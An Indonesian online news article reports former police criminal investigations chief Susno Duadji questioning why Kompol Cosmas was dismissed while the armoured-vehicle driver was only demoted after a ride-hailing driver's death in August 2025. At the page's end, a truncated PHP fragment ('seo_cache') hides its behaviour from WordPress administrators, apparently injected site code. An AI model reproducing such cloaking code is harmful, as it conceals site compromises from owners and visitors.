Nasional

Komjen Pol (Purn) Susno Duadji : Sopir Rantis dan Kompol Cosmas Sama-sama Jalankan Perintah Tapi Hukumannya Bisa Beda?

×

Komjen Pol (Purn) Susno Duadji : Sopir Rantis dan Kompol Cosmas Sama-sama Jalankan Perintah Tapi Hukumannya Bisa Beda?

Sebarkan artikel ini

JAKARTA, MENARASUMBA.COM – Mantan Kabareskrim Polri, Komjen Pol (Purn) Susno Duadji mempertanyakan penetapan hukuman yang tidak setara antara Kompol Cosmas Kaju Gae dan sopir rantis Brimob, Bripka Rohmat.

Hal itu disampaikannya dalam wawancara Breaking News di studio TVONE Jakarta, Kamis (04/09/2025) malam.

Kompol Cosmas Kaju Gae yang dijatuhi hukuman PTDH. ( Istimewa )

Ia menyayangkan hukuman PTDH yang dijatuhkan kepada pamen Brimob asal Ngada, Flores, NTT ini dalam sidang Komisi Kode Etik Profesi (KKEP) Rabu (03/09/2025) di Mabes Polri.

“Jika sopir rantis hanya dijatuhi sanksi demosi tujuh tahun karena alasan melaksanakan perintah atasan, maka semestinya hal yang sama berlaku untuk Kompol Cosmas,” ujar Susno.

Demosi adalah sanksi hukuman penurunan jabatan, dari pengemudi kendaraan taktis (rantis) ke tugas lain.

Hukuman ini hanya berdampak pada tunjangan sebagai sopir rantis yang tidak lagi didapatkan, tapi gaji sebagai anggota Polri dan tunjangan lain tetap diterima.

“Sementara hukuman Pemberhentian Tidak Dengan Hormat (PTDH) atau pemecatan yang bersangkutan kehilangan semua, termasuk pensiun,” jelasnya.

Secara hirarki, kata dia, sesungguhnya para anggota Polri yang bertugas di lapangan hanya menjalankan perintah atasan.

Karena itu, meski Kompol Cosmas adalah atasan langsung sopir rantis, keduanya sama-sama mengikuti perintah di lapangan.

Bripka Rohmat sopir rantis yang hanya mendapat sanksi demosi tujuh tahun. ( Istimewa )

“Ada atasan mereka yang mengarahkan, kendaraan ini harus berada dimana, untuk apa, kan itu perintah komandan lapangan dari atas,” terangnya.

Ia menyebut, keputusan itu harus berdasarkan aspek pertimbangan menyeluruh sehingga berdampak adil saat dijatuhkan kepada yang bersangkutan.

“Kompol Cosmas pun demikian melaksanakan perintah atasan. Ini yang mesti dicermati,” tandasnya.

Peristiwa tewasnya driver ojek online, Affan Kurniawan pada 28 Agustus 2025 malam menyeret tujuh anggota polisi yang berada di dalam rantis ini.

Meski hanya penumpang lima dari tujuh anggota Polri juga menerima hukuman sedang, sopir rantis dijatuhi sanksi demosi tujuh tahun, dan hanya Kompol Cosmas Kaju Gae yang dipecat.

Menurut mantan Kabareskrim Komjen Pol (Purn) Susno Duadji, hukuman untuk Kompol Cosmas mesti dipertimbangkan lagi agar memenuhi rasa keadilan.

“Kan ada atasan yang memberi perintah, semestinya itu harus dilacak juga,” tegasnya. ( TAP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>